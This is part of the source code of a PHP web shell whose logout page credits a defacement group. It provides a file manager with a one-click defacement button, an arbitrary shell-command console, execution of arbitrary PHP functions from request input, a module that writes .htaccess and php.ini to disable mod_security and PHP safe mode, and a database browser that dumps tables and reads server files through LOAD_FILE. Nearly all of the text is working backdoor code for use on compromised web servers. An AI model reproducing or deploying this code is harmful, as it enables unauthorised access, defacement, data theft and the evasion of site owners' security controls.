    echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = $links = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array(\'name\' => $dirContent[$i],
                     \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
                     \'modify\' => @date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
                     \'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
                     \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
                     \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
                     \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
                    );
        if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))
            $files[] = array_merge($tmp, array(\'type\' => \'file\'));
        elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))
            $links[] = array_merge($tmp, array(\'type\' => \'link\'));
        elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != "."))
            $dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
    }
    $GLOBALS[\'sort\'] = $sort;
    function cmp($a, $b) {
        if($GLOBALS[\'sort\'][0] != \'size\')
            return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1);
        else
            return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
    }
    usort($files, "cmp");
    usort($dirs, "cmp");
    usort($links, "cmp");
    $files = array_merge($dirs, $links, $files);
    $l = 0;
    foreach($files as $f) {
        echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
            .\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
        $l = $l?0:1;
    }
    echo \'<tr><td colspan=5>
    <input type=hidden name=a value=\'FilesMan\'>
    <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
    <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>\';
    if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){echo \'<option value=\'paste\'>Paste</option>\'; }
    echo \'</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.htm" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\'\'.htmlspecialchars($GLOBALS[\'cwd\']).\'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
    </form></table></div>\';
    printFooter();
}
function actionStringTools() {
    if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
    if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
    if(isset($_POST[\'ajax\'])) {
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
        ob_start();
        if(function_exists($_POST[\'p1\']))
            echo $_POST[\'p1\']($_POST[\'p2\']);
        $temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();
    echo \'<h1>String conversions</h1><div class=content>\';
    $stringTools = array(
        \'Base64 encode\' => \'base64_encode\',
        \'Base64 decode\' => \'base64_decode\',
        \'Url encode\' => \'urlencode\',
        \'Url decode\' => \'urldecode\',
        \'Full urlencode\' => \'full_urlencode\',
        \'md5 hash\' => \'md5\',
        \'sha1 hash\' => \'sha1\',
        \'crypt\' => \'crypt\',
        \'CRC32\' => \'crc32\',
        \'ASCII to HEX\' => \'ascii2hex\',
        \'HEX to ASCII\' => \'hex2ascii\',
        \'HEX to DEC\' => \'hexdec\',
        \'HEX to BIN\' => \'hex2bin\',
        \'DEC to HEX\' => \'dechex\',
        \'DEC to BIN\' => \'decbin\',
        \'BIN to HEX\' => \'bin2hex\',
        \'BIN to DEC\' => \'bindec\',        
        \'String to lower case\' => \'strtolower\',
        \'String to upper case\' => \'strtoupper\',
        \'Htmlspecialchars\' => \'htmlspecialchars\',
        \'String length\' => \'strlen\',
    );
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
    echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
    foreach($stringTools as $k => $v)
        echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
        echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".htmlspecialchars(@$_POST[\'p2\'])."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
    if(!empty($_POST[\'p1\'])) {
        if(function_exists($_POST[\'p1\']))
        echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
    }
    echo"</pre></div>";
    printFooter();
}
function actionFilesTools() {
    if( isset($_POST[\'p1\']) )
        $_POST[\'p1\'] = urldecode($_POST[\'p1\']);
    if(@$_POST[\'p2\']==\'download\') {
        if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST[\'p1\']);
                header("Content-Type: ".$type);
            }
            $fp = @fopen($_POST[\'p1\'], "r");
            if($fp) {
                while(!@feof($fp))
                    echo @fread($fp, 1024);
                fclose($fp);
            }
        } elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
        }
        exit;
    }
    if( @$_POST[\'p2\'] == \'mkfile\' ) {
        if(!file_exists($_POST[\'p1\'])) {
            $fp = @fopen($_POST[\'p1\'], \'w\');
            if($fp) {
                $_POST[\'p2\'] = "edit";
                fclose($fp);
            }
        }
    }
    printHeader();
    echo \'<h1>File tools</h1><div class=content>\';
    if( !file_exists(@$_POST[\'p1\']) ) {
        echo \'File not exists\';
        printFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
    $gid = @posix_getgrgid(@fileowner($_POST[\'p1\']));
    echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
    echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
    if( empty($_POST[\'p2\']) )
        $_POST[\'p2\'] = \'view\';
    if( is_file($_POST[\'p1\']) )
        $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
    else
        $m = array(\'Chmod\', \'Rename\', \'Touch\');
    foreach($m as $v)
        echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
    echo \'<br><br>\';
    switch($_POST[\'p2\']) {
        case \'view\':
            echo \'<pre class=ml1>\';
            $fp = @fopen($_POST[\'p1\'], \'r\');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo \'</pre>\';
            break;
        case \'highlight\':
            if( is_readable($_POST[\'p1\']) ) {
                echo \'<div class=ml1 style="background-color: #000;color:black;">\';
                $code = highlight_file($_POST[\'p1\'],true);
                echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
            }
            break;
        case \'chmod\':
            if( !empty($_POST[\'p3\']) ) {
                $perms = 0;
                for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
                    $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
                if(!@chmod($_POST[\'p1\'], $perms))
                    echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
                else
                    die(\'<script>g(null,null,null,null,"")</script>\');
            }
            echo \'<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
            break;
        case \'edit\':
            if( !is_writable($_POST[\'p1\'])) {
                echo \'File isn\'t writeable\';
                break;
            }
            if( !empty($_POST[\'p3\']) ) {
                @file_put_contents($_POST[\'p1\'],$_POST[\'p3\']);
                echo \'Saved!<br><script>document.mf.p3.value="";</script>\';
            }
            echo \'<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>\';
            $fp = @fopen($_POST[\'p1\'], \'r\');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo \'</textarea><input type=submit value=">>"></form>\';
            break;
        case \'hexdump\':
            $c = @file_get_contents($_POST[\'p1\']);
            $n = 0;
            $h = array(\'00000000<br>\',\'\',\'\');
            $len = strlen($c);
            for ($i=0; $i<$len; ++$i) {
                $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
                switch ( ord($c[$i]) ) {
                    case 0:  $h[2] .= \' \'; break;
                    case 9:  $h[2] .= \' \'; break;
                    case 10: $h[2] .= \' \'; break;
                    case 13: $h[2] .= \' \'; break;
                    default: $h[2] .= $c[$i]; break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
                    $h[1] .= \'<br>\';
                    $h[2] .= "
";
                }
             }
            echo \'<table cellspacing=1 cellpadding=5 bgcolor=#000><tr><td bgcolor=#000><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#000><pre>\'.$h[1].\'</pre></td><td bgcolor=#000><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
            break;
        case \'rename\':
            if( !empty($_POST[\'p3\']) ) {
                if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
                    echo \'Can\'t rename!<br><script>document.mf.p3.value="";</script>\';
                else
                    die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
            }
            echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
            break;
        case \'touch\':
            if( !empty($_POST[\'p3\']) ) {
                $time = strtotime($_POST[\'p3\']);
                if($time) {
                    if(@touch($_POST[\'p1\'],$time,$time))
                        die(\'<script>g(null,null,null,null,"")</script>\');
                    else {
                        echo \'Fail!<script>document.mf.p3.value="";</script>\';
                    }
                } else echo \'Bad time format!<script>document.mf.p3.value="";</script>\';
            }
            echo \'<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
            break;
        case \'mkfile\':
            break;
    }
    echo \'</div>\';
    printFooter();
}
function actionConsole() {
    if(isset($_POST[\'ajax\'])) {
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
        ob_start();
        echo "document.cf.cmd.value=\'\';
";
        $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']),"

	\\'"));
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match))    {
            if(@chdir($match[1])) {
                $GLOBALS[\'cwd\'] = @getcwd();
                echo "document.mf.c.value=\'".$GLOBALS[\'cwd\']."\';";
            }
        }
        echo "document.cf.output.value+=\'".$temp."\';";
        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();
echo \'<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push("");
    cur = cmds.length-1;
}
</script>\';
    echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>\';
    foreach($GLOBALS[\'aliases\'] as $n => $v) {
        if($v == \'\') {
            echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
            continue;
        }
        echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
    }
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
    echo \'</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>\';
    if(!empty($_POST[\'p1\'])) {
        echo htmlspecialchars("$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']));
    }
    echo \'</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">\';
    echo \'</form></div><script>document.cf.cmd.focus();</script>\';
    printFooter();
}
function actionLogout() {
    unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
    echo \'<body bgcolor=#000000><center><img src="http://png-4.findicons.com/files/icons/146/xp_icandy_3_1/128/log_off.png"><h1><font color="#a3e956">Good Bye ^_^ ENJOY<br><h2><font size="4">SHELL BY 1337 h@x0r <p>https://www.facebook.com/kool7minded<h2>TEAM Pak Cyber Attackers<br><h2><font color="green">PAKISTAN<font color="#fff">ZINDABAD</h2><p><font color="#a3e956" font size="4">WE ARE=><marquee width="80%">Pak Cyber Attackers</marquee></font></font></font></center></body>\';
}
function actionSelfRemove() {
    printHeader();
    if($_POST[\'p1\'] == \'yes\') {
        if(@unlink(SELF_PATH))
            die(\'Shell has been removed\');
        else
            echo \'unlink error!\';
    }
    echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
    printFooter();
}
function actionBypass() {
    printHeader();
    echo \'<h1>Safe Mode</h1>\';
    echo \'<div class="content">\';
    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS[\'cwd\']." |<br><br />";
    echo \'<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>\';
    if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
    {
        $fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
        fwrite($fil,\'<IfModule mod_security.c>
            Sec------Engine Off
            Sec------ScanPOST Off
            </IfModule>\');
        fclose($fil);
   }
   if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
   {
        $fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
        fwrite($fil,\'safe_mode=OFF
            disable_functions=NONE\');
        fclose($fil);
    }
    if(!empty($_POST[\'p3\']) && isset($_POST[\'p3\']))
    {
        $fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
        fwrite($fil,\'Options FollowSymLinks MultiViews Indexes ExecCGI
        AddType application/x-httpd-cgi .sh
        AddHandler cgi-script .pl
        AddHandler cgi-script .pl\');
        fclose($fil); 
    }
    echo "<br><br /><br /></div>";
    echo \'</div>\';
    printFooter();
}

function actionSql() {
    class DbClass {
        var $type;
        var $link;
        var $res;
        function DbClass($type)    {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname){
            switch($this->type)    {
                case \'mysql\':
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
                    break;
                case \'pgsql\':
                    $host = explode(\':\', $host);
                    if(!$host[1]) $host[1]=5432;
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
                    break;
            }
            return false;
        }
        function selectdb($db) {
            switch($this->type)    {
                case \'mysql\':
                    if (@mysql_select_db($db))return true;
                    break;
            }
            return false;
        }
        function query($str) {
            switch($this->type) {
                case \'mysql\':
                    return $this->res = @mysql_query($str);
                    break;
                case \'pgsql\':
                    return $this->res = @pg_query($this->link,$str);
                    break;
            }
            return false;
        }
        function fetch() {
            $res = func_num_args()?func_get_arg(0):$this->res;
            switch($this->type)    {
                case \'mysql\':
                    return @mysql_fetch_assoc($res);
                    break;
                case \'pgsql\':
                    return @pg_fetch_assoc($res);
                    break;
            }
            return false;
        }
        function listDbs() {
            switch($this->type)    {
                case \'mysql\':
                    return $this->res = @mysql_list_dbs($this->link);
                break;
                case \'pgsql\':
                    return $this->res = $this->query("SELECT datname FROM pg_database");
                break;
            }
            return false;
        }
        function listTables() {
            switch($this->type)    {
                case \'mysql\':
                    return $this->res = $this->query(\'SHOW TABLES\');
                break;
                case \'pgsql\':
                    return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != \'information_schema\' AND table_schema != \'pg_catalog\') or table_name = \'pg_user\'");
                break;
            }
            return false;
        }
        function error() {
            switch($this->type)    {
                case \'mysql\':
                    return @mysql_error($this->link);
                break;
                case \'pgsql\':
                    return @pg_last_error($this->link);
                break;
            }
            return false;
        }
        function setCharset($str) {
            switch($this->type)    {
                case \'mysql\':
                    if(function_exists(\'mysql_set_charset\'))
                        return @mysql_set_charset($str, $this->link);
                    else
                        $this->query(\'SET CHARSET \'.$str);
                    break;
                case \'mysql\':
                    return @pg_set_client_encoding($this->link, $str);
                    break;
            }
            return false;
        }
        function dump($table) {
            switch($this->type)    {
                case \'mysql\':
                    $res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
                    $create = mysql_fetch_array($res);
                    echo $create[1].";

";
                    $this->query(\'SELECT * FROM `\'.$table.\'`\');
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "\'".@mysql_real_escape_string($v)."\'";
                            $columns[] = "`".$k."`";
                        }
                    echo \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
                    }
                break;
                case \'pgsql\':
                    $this->query(\'SELECT * FROM \'.$table);
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "\'".addslashes($v)."\'";
                            $columns[] = $k;
                        }
                    echo \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
                    }
                break;
            }
            return false;
        }
    };
    $db = new DbClass(@$_POST[\'type\']);
    if(@$_POST[\'p2\']==\'download\') {
        ob_start("ob_gzhandler", 4096);
        $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
        $db->selectdb($_POST[\'sql_base\']);
        header("Content-Disposition: attachment; filename=dump.sql");
        header("Content-Type: text/plain");
        foreach($_POST[\'tbl\'] as $v)
                $db->dump($v);
        exit;
    }
    printHeader();
    echo \'<h1>Sql browser</h1><div class=content>
    <form name="sf" method="post">
        <table cellpadding="2" cellspacing="0">
            <tr>
                <td>Type</td>
                <td>Host</td>
                <td>Login</td>
                <td>Password</td>
                <td>Database</td>
                <td></td>
            </tr>
            <tr>
                <input type=hidden name=a value=Sql>
                <input type=hidden name=p1 value=\'query\'>
                <input type=hidden name=p2>
                <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
                <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
                <td>
                    <select name=\'type\'>
                        <option value="mysql" \'.(@$_POST[\'type\']==\'mysql\'?\'selected\':\'\').\'>MySql</option>
                        <option value="pgsql" \'.(@$_POST[\'type\']==\'pgsql\'?\'selected\':\'\').\'>PostgreSql</option>
                    </select></td>
                <td><input type=text name=sql_host value="\'.(empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])).\'"></td>
                <td><input type=text name=sql_login value="\'.(empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])).\'"></td>
                <td><input type=text name=sql_pass value="\'.(empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])).\'"></td>
                <td>\';
    $tmp = "<input type=text name=sql_base value=\'\'>";
    if(isset($_POST[\'sql_host\'])){
        if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
            switch($_POST[\'charset\']) {
                case "Windows-1251": $db->setCharset(\'cp1251\'); break;
                case "UTF-8": $db->setCharset(\'utf8\'); break;
                case "KOI8-R": $db->setCharset(\'koi8r\'); break;
                case "KOI8-U": $db->setCharset(\'koi8u\'); break;
                case "cp866": $db->setCharset(\'cp866\'); break;
            }
            $db->listDbs();
            echo "<select name=sql_base><option value=\'\'></option>";
            while($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
            }
            echo \'</select>\';
        }
        else echo $tmp;
    }else
        echo $tmp;
    echo \'</td>
                <td><input type=submit value=">>"></td>
            </tr>
        </table>
        <script>
            function st(t,l) {
                document.sf.p1.value = \'select\';
                document.sf.p2.value = t;
                if(l!=null)document.sf.p3.value = l;
                document.sf.submit();
            }
            function is() {
                for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
                    document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
            }
        </script>\';
    if(isset($db) && $db->link){
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if(!empty($_POST[\'sql_base\'])){
                $db->selectdb($_POST[\'sql_base\']);
                echo "<tr><td width=1 style=\'border-top:1px solid #a3e956;border-right:2px solid #a3e956;\'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while($item = $db->fetch($tbls_res)) {
                    list($key, $value) = each($item);
                    $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\')\">".$value."</a> (".$n[\'n\'].")</nobr><br>";
                }
                echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'></td><td style=\'border-top:1px solid #a3e956;\'>";
                if(@$_POST[\'p1\'] == \'select\') {
                    $_POST[\'p1\'] = \'query\';
                    $db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\'].\'\');
                    $num = $db->fetch();
                    $num = $num[\'n\'];
                    echo "<span>".$_POST[\'p2\']."</span> ($num) ";
                    for($i=0;$i<($num/30);$i++)
                        if($i != (int)$_POST[\'p3\'])
                            echo "<a href=\'#\' onclick=\'st(\"".$_POST[\'p2\']."\", $i)\'>",($i+1),"</a> ";
                        else
                            echo ($i+1)," ";
                    if($_POST[\'type\']==\'pgsql\')
                        $_POST[\'p3\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
                    else
                        $_POST[\'p3\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
                    echo "<br><br>";
                }
                if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p3\'])) {
                    $db->query(@$_POST[\'p3\']);
                    if($db->res !== false) {
                        $title = false;
                        echo \'<table width=100% cellspacing=0 cellpadding=2 class=main>\';
                        $line = 1;
                        while($item = $db->fetch())    {
                            if(!$title)    {
                                echo \'<tr>\';
                                foreach($item as $key => $value)
                                    echo \'<th>\'.$key.\'</th>\';
                                reset($item);
                                $title=true;
                                echo \'</tr><tr>\';
                                $line = 2;
                            }
                            echo \'<tr class="l\'.$line.\'">\';
                            $line = $line==1?2:1;
                            foreach($item as $key => $value) {
                                if($value == null)
                                    echo \'<td><i>null</i></td>\';
                                else
                                    echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
                            }
                            echo \'</tr>\';
                        }
                        echo \'</table>\';
                    } else {
                        echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
                    }
                }
                echo "<br><textarea name=\'p3\' style=\'width:100%;height:100px\'>".@htmlspecialchars($_POST[\'p3\'])."</textarea><br/><input type=submit value=\'Execute\'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/><form onsubmit=\'document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
            if(@$_POST[\'p1\'] == \'loadfile\') {
                $db->query("SELECT LOAD_FILE(\'".addslashes($_POST[\'p2\'])."\') as file");
                $file = $db->fetch();
                echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
            }
    }
    echo \'</div>\';
    printFooter();
}
function actionNetwork() {
    printHeader();
